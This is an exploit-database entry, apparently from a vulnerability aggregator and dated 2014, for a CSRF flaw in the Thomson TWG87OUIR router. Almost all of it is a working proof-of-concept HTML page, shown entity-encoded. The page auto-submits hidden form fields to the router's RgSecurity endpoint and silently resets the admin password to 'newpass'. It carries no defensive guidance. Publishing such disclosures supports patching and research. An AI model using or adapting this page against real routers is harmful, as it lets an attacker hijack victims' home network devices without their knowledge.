Thomson TWG87OUIR - POST Password CSRF

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Thomson router CSRF vulnerability in password rese


                                                #Author: nopesled
#Date: 24/06/14
#Vulnerability: POST Password Reset CSRF
#Tested on: Thomson TWG87OUIR (Hardware Version)

&#60;html&#62;
&#60;head&#62;
	&#60;title&#62;Thomson TWG87OUIR CSRF&#60;/title&#62;
&#60;/head&#62;
&#60;body&#62;
     &#60;form name=&#34;exploit&#34; method=&#34;post&#34;
	action=&#34;http://192.168.0.1/goform/RgSecurity&#34;&#62;
	&#60;input type=&#34;hidden&#34; name=&#34;HttpUserId&#34; value=&#34;&#34; /&#62;
	&#60;input type=&#34;hidden&#34; name=&#34;Password&#34; value=&#34;newpass&#34; /&#62;
	&#60;input type=&#34;hidden&#34; name=&#34;PasswordReEnter&#34; value=&#34;newpass&#34; /&#62;
	&#60;input type=&#34;hidden&#34; name=&#34;RestoreFactoryNo&#34; value-=&#34;0x00&#34; /&#62;
     &#60;/form&#62;
     &#60;script type=&#34;text/javascript&#34;&#62;
	document.exploit.submit();
     &#60;/script&#62;
&#60;/body&#62;
&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1